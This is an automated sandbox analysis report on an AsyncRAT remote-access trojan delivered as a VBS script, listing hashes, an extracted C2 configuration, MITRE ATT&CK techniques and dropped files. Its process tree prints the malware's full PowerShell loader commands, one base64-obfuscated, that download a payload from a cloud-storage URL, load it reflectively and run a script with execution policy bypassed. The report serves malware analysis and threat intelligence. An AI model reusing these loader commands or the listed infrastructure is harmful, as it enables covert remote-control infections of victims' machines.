asyncrat | eaf0cc301ae124b8a2b966a9496e02466390f1557c1dfbfe26da8ffcb3df996c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
resource tags

arch:x64arch:x86image:win10v2004-20250619-enlocale:en-usos:windows10-2004-x64system
submitted
26/10/2025, 17:10

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General

Target
sostener1.vbs
Size 4.6MB
Sample251026-vp3klacw4a
SHA256 eaf0cc301ae124b8a2b966a9496e02466390f1557c1dfbfe26da8ffcb3df996c
MD5 f83ac7fee0584fd517dfcc333ad5f6fa
SHA1 dde7fd97be9a07f5c32f247aa2bf73d65a9f7159
SHA512 e442590507ff23851b013a05697426ed4cda4d14713e64f46c36ac9b5edb1d32a17194f4c3e1ffe7157e5835a296ea6831a069002d44de7fdddd74a02132ad16
SSDEEP 768:rhgxAxhgxhgxhgxhgxhgxhgxhgxhAxhghxhgxAxhgxhgxhgxhgxhgxhgxhgxhAxS:eg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

server discovery execution asyncrat rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f
exe.dropper
https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Server

dcdgloss.duckdns.org:45850

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
9	5184	powershell.exe
17	3084	powershell.exe
19	3084	powershell.exe
21	3084	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-636600838-1632888396-3521553955-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3084	powershell.exe
5712	powershell.exe
5184	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3084 set thread context of 5512	3084	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5712	powershell.exe
5712	powershell.exe
5184	powershell.exe
5184	powershell.exe
3084	powershell.exe
3084	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5712	powershell.exe
Token: SeDebugPrivilege	5184	powershell.exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	5512	MSBuild.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4008 wrote to memory of 5712	4008	WScript.exe	83
PID 4008 wrote to memory of 5712	4008	WScript.exe	83
PID 5712 wrote to memory of 5184	5712	powershell.exe	85
PID 5712 wrote to memory of 5184	5712	powershell.exe	85
PID 5184 wrote to memory of 3084	5184	powershell.exe	86
PID 5184 wrote to memory of 3084	5184	powershell.exe	86
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87
PID 3084 wrote to memory of 5512	3084	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener1.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $RqWSSdfd = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyR6RkthQS☹9ICdodHRwczovL2ZpcmViYXNlc3RvcmFnZS5nb29nbGVhcGlzLmNvbS92MC9iL2xvbG9lcjM0MzQuZmlyZWJhc2VzdG9yYWdlLmFwcC9vL0NJRlJBRE8lMjBGRkYzMzMzJTJGbmV3ZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49MmE3NjE5ZGYtNGVhNy00M2QzLTljNmUtYjc0YmUwMWZmNjdmJy☹7JFB4UHl0ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpOyR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskTFdoQWMgPS☹kd2ViQ2xpZW50LkRvd25sb2FkU3RyaW5nKC☹kekZLYUEgKS☹7JExXaEFjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☹tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☹7JFNUZkdsID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0dPQWFwLnR4dCcpIDskRFFkUFUgPS☹nTG9hZCcgOyRmbm1TTC☹9ICdJbnZva2UnOyRQYW5CTi☹9ICRudWxsOyRJcUhxUS☹9IC☹nOyR4ID0gKEpvaW4tUGF0aC☹kZW52OlRFTV☹gJydHT0FhcC50eHQnJyk7JHJ5YWVHID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskcnlhZUcgPS☹kcnlhZUcucmVwbGFjZSgnJyQkJycsICcnQScnKTsnIDskSXFIcVEgKz0gJ1tCeXRlW11dICRrWFRmaS☹9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRyeWFlRy☹pIDsnIDskSXFIcVEgKz0gJ1tTeXN0ZW0uQXBwRG9tYWluXTonICsgJzpDdXJyZW50RG9tYWluLicgKy☹kRFFkUFUgKy☹nKC☹ka1hUZmkgKS4nIDskSXFIcVEgKz0gJ0dldFR5cGUoICcnQ2xhc3NMaWJyYXJ5My5DbGFzczEnJy☹pLkdldE0nIDskSXFIcVEgKz0gJ2V0aG9kKC☹nJ01zcUJJYlknJy☹pLicgKy☹kZm5tU0wgKy☹nKC☹kUGFuQk4gLCBbb2JqZWN0W11dICggKC☹nJ01RQTlBR3dBWkFBbUFISUFhQUIzQUhBQWJBQnVBR2tBZFFBOUFIUUFjd0FtQUhFQWNBQm9BRE1BYUFCNkFISUFid0JuQUhRQU13Qm5BR0VBYUFCdEFISUFiZ0JsQUhRQWNRQnlBR0VBWWdBeEFIY0FQUUI1QUdVQWF3QnNBSElBUHdCMEFIZ0FkQUF1QURFQVF3QXZBR1VBTWdCNkFHd0Fad0IzQUdjQWFBQjBBR1VBYlFCb0FEVUFhQUJxQURNQWR3QnFBSG9BYWdCeEFDOEFhUUJtQUM4QWJBQmpBSE1BTHdCdEFHOEFZd0F1QUhnQWJ3QmlBSEFBYndCeUFHUUFMZ0IzQUhjQWR3QXZBQzhBT2dCekFIQUFkQUIwQUdnQScnICkgLC☹nJyVKa1Fhc0RmZ3JUZyUnJy☹sICcnX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18tLS0tLS0tJycsICcnMCcnLC☹nJzEnJywgJydSb2RhJycgICkgKS☹7Jy☹7JFZCV1d6ID0gKCBbU3lzdGVtLklPLlBhdGhdOjpHZXRUZW1wUGF0aCgpICsgJ0R2VmJzLnBzMScgKS☹7JElxSHFRIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRWQldXei☹gLWZvcmNlIDtwb3dlcnNoZWxsIC1FeGVjdXRpb25Qb2xpY3kgQnlwYXNzIC1GaWxlICRWQldXei☹7';$lvFxTsk = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($RqWSSdfd -replace '☹','A') ) );$lvFxTsk = ($lvFxTsk -replace '%JkQasDfgrTg%', 'C:$Users$Admin$AppData$Local$Temp$sostener1.vbs');powershell $lvFxTsk;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://firebasestorage.googleapis.com/v0/b/loloer3434.firebasestorage.app/o/CIFRADO%20FFF3333%2Fnewdll.txt?alt=media&token=2a7619df-4ea7-43d3-9c6e-b74be01ff67f' ;$PxPyt = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt');$webClient = New-Object System.Net.WebClient ;$LWhAc = $webClient.DownloadString( $zFKaA ) ;$LWhAc | Out-File -FilePath $PxPyt -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'GOAap.txt') ;$DQdPU = 'Load' ;$fnmSL = 'Invoke';$PanBN = $null;$IqHqQ = ';$x = (Join-Path $env:TEMP ''GOAap.txt'');$ryaeG = (Get-Content -Path $x -Encoding UTF8);$ryaeG = $ryaeG.replace(''$$'', ''A'');' ;$IqHqQ += '[Byte[]] $kXTfi = [system.Convert]::FromBase64String( $ryaeG ) ;' ;$IqHqQ += '[System.AppDomain]:' + ':CurrentDomain.' + $DQdPU + '( $kXTfi ).' ;$IqHqQ += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$IqHqQ += 'ethod( ''MsqBIbY'' ).' + $fnmSL + '( $PanBN , [object[]] ( ( ''MQA9AGwAZAAmAHIAaAB3AHAAbABuAGkAdQA9AHQAcwAmAHEAcABoADMAaAB6AHIAbwBnAHQAMwBnAGEAaABtAHIAbgBlAHQAcQByAGEAYgAxAHcAPQB5AGUAawBsAHIAPwB0AHgAdAAuADEAQwAvAGUAMgB6AGwAZwB3AGcAaAB0AGUAbQBoADUAaABqADMAdwBqAHoAagBxAC8AaQBmAC8AbABjAHMALwBtAG8AYwAuAHgAbwBiAHAAbwByAGQALgB3AHcAdwAvAC8AOgBzAHAAdAB0AGgA'' ) , ''C:$Users$Admin$AppData$Local$Temp$sostener1.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'DvVbs.ps1' ) ;$IqHqQ | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3084
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 5d968265d8f24ff9f80784bc6f3b5af2437781bce2b3d850db4a2bb49d0b5ad7
MD5 6bf07852cb3bab59e6cc2dcab43ab011
SHA1 310635401d2c6a1bd7f77df365eb6371012aee2c
SHA512 8dc9aec471dbd68818ed6fec05efc6570dbddbed22946765d45d4bd5482814e306674df3f3ca0845828fcc0d604d685fcec0f3f7ad9e982b30aaaa39d26134a9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 898f664b794698e1ca76664c29b167108ebc0ebc29d54677d269524768e3babc
MD5 8998e3eee06c36e1d5a862ee87658b13
SHA1 178dbb4d080120cbd591bbcebc078ecea97f8409
SHA512 df7eeda2135fb6cd9997b39be252b964f421a659d27ac563cb599bb73fe981055fc8f89d30c717b0005ac3c0f7e22dae9d66fb1b2182375bcf6d234d48c968c6
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 23170233ef5fd05b2e424e374d17bff4dda2a789be2adc56d102ace84ab9862e
MD5 3dc1ac88500a9601e227290d9ad6fce1
SHA1 94cec87ee155e26c393493dcb932ed76a0479720
SHA512 3be31cf19874cd0549ea4a8982a0a0a91a4f67fe451422aac590789a30c0938cb09bcb839837de86f53d02c44ccafb24d930df823709f122c785277fa4e0a5cd
MD5 SHA1 SHA512

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DvVbs.ps1

Path C:\Users\Admin\AppData\Local\Temp\DvVbs.ps1
Size 1KB
SHA256 4a50102471b005848902c542c9f8a1c9ed4aa95b0ea8200a7164a729f9600587
MD5 3dbb0bc07299e094a417c717519d75d8
SHA1 adc60643897b39b4a6577d4c5a84f48261760bf5
SHA512 01332427b87f5d848fb75a0d563a56987d42e6d0d406384860cf333f87cabd1506e7f0a645a53c870a7fa8ce4740f211640bdef8de7338b1cdd67376eadc78f1
MD5 SHA1 SHA512

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GOAap.txt

Path C:\Users\Admin\AppData\Local\Temp\GOAap.txt
Size 25KB
SHA256 4f92644fff35ceea761ac7978062ee8d9aa35468040f8eb79235801609ae554a
MD5 68e7507b62e17723d23b7f5bae16f732
SHA1 f24ad50d98d36438ee5f6ff28b0081d34ac1137e
SHA512 f2b0398a09786ed19275ee86af70e7a07a1b25063b0302caeb086c54db7723737dbf84a1ad369e449937f087dab227cb662bc08f3c6a3e79214b398dd36e65d7
SSDEEP 384:P90ZRPiKw0g5dganzQkUQFkQeTeCIFfuuHcj044c4gqM1K7FNGXwf:PKZ1wNnzvEe5FfuuH8VH41O+FNGXi
MD5 SHA1 SHA512 SSDEEP

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__PSScriptPolicyTest_dh13fwmj.g5e.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dh13fwmj.g5e.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/3084-28-0x0000020BFBE10000-0x0000020BFBE1A000-memory.dmp

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memory/3084-29-0x0000020BFF0F0000-0x0000020BFF0FA000-memory.dmp

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memory/5512-30-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/5712-0-0x0000024051D00000-0x0000024051D10000-memory.dmp

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memory/5712-1-0x0000024051D00000-0x0000024051D10000-memory.dmp

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memory/5712-2-0x00000240546E0000-0x0000024054702000-memory.dmp

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